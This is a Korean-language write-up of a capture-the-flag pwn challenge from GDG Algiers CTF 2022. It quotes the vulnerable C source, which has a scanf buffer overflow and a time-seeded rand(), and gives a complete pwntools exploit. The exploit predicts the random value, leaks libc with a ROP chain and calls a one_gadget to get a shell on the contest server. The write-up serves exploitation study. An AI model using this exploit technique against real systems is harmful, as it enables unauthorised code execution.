GDG Algiers CTF 2022 - mind games (random)

분석 환경: Arch linux
사용자 제공 파일: binary, source code, libc

Help! This program is playing mind games with me! You need to put an end to this madness.

Analysis

보호 기법

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

취약점

제공된 source code가 짧아서 전문을 올렸다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#define BUF_SIZE 32

void flag(void);

void disable_buffering(void);

void flag(void) {
FILE* file;
int c = 0;

file = fopen("flag.txt", "r");

if (NULL == file) {
fprintf(stderr, "Cannot open flag.txt");
exit(EXIT_FAILURE);
} else {
while (1) {
c = fgetc(file);
if (c == EOF)
break;
putchar(c);
}
fclose(file);
}

return;
}

int main(int argc, char *argv[])
{
char input[BUF_SIZE] = { '\0' };
int randnum, guess;

disable_buffering();

srand(time(NULL));

printf("You think you can read my mind? ");
scanf("%s", input); // bof
guess = atoi(input);
randnum = rand();

if (guess == randnum) {
flag();
} else {
puts("That's what I thought.");
exit(EXIT_FAILURE);
}

return EXIT_SUCCESS;
}

void disable_buffering(void)
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}

random 값을 맞추면 flag() 함수를 호출한다. scanf("%s", input)에서 bof가 터지니깐 input을 입력할 때 guess랑 randnum을 동일하게 주면 우회가 되지 않을까? 생각했다. 하지만 입력 후에 guess와 randnum을 정의하기 때문에 그런 방법은 통하지 않는다.

어떻게 해야할까?

randnum을 정의하는 함수는 rand() 함수이다. 간단하게 말하면 이 함수는 srand() 함수에 의존적인데 인자로 time(NULL)이 들어간다. 같은 시간대에 다른 프로그램을 실행해도 프로그램의 현재 시간을 가져오기 때문에 우리는 randnum을 예측할 수 있다.

관련 내용은 나의 구 티스토리 블로그에 자세히 설명되어 있다.

이런식으로 flag() 함수를 호출할 수 있는데 미리 스포하자면 이 함수는 진짜 flag를 호출하지 않는다.

그래서 bof를 이용하여 rip를 바꿔 execve를 호춣해야 한다.

Exploit

시나리오

  1. random 값 구한 후, libc leak 후 main으로 흐름 돌리기
  2. random 값 다시 구한 후, one gadget 호출

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

#p = process('./mind-games')
p = remote('pwn.chal.ctf.gdgalgiers.com', 1404)
e = ELF('./mind-games')
libc = ELF('./lib/libc.so.6')

r = process('./a.out')
random = r.recv()
log.info(b'random ::' + random)
r.close()

pop_rdi = 0x00000000004014c3
puts_plt = e.symbols['puts']
puts_got = e.got['puts']
main = e.symbols['main']

payload = ''
payload = random
payload += b'A' * (0x30-len(payload))
payload += b'B' * 8 #rbp
payload += p64(pop_rdi)
payload += p64(e.got['printf'])
payload += p64(puts_plt)
payload += p64(main)

p.sendlineafter(b'mind?', payload)

leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.info(hex(leak))

libc_base = leak - libc.symbols['printf']
log.info(hex(libc_base))

r = process('./a.out')
random = r.recv()

payload = random
payload += b'A' * (0x30-len(payload))
payload += b'B' * 8
payload += p64(0xe6c84+libc_base)

p.sendlineafter(b'mind?', payload)

r.close()
p.interactive()

tmi

  1. 풀고 나서 익스 코드를 날려버려서 대회 끝나고 다시 풀었다. 대회 때 뭔가 확률적으로 shell을 얻을 수 있었는데, 지금 생각해보니 random 값 때문이었던 것 같다. 첫 main에서 구한 random 값을 두 번째 main에서 사용하려니 시간이 조금 지나 흐름이 이어지지 않는 경우가 생겨서 while, try-except 구문을 이용했었다… ㅋㅋ

  2. 대회 종료 후 이게 솔브 수가 19였는데 25솔짜리 문제는 풀지 못하였다 ㅜㅜ, 힙 문제였는데.. 요약하자면 oob를 통해 libc leak을 할 수 있고, heap overflow를 이용하여 heap chunk의 size를 조작할 수 있다. 이거를 이용해서 푸는 문제였는데,.. 암튼 못풀었다. 다른 쉬운 힙 문제들 좀 풀어보고 풀어봐야겠다 T_T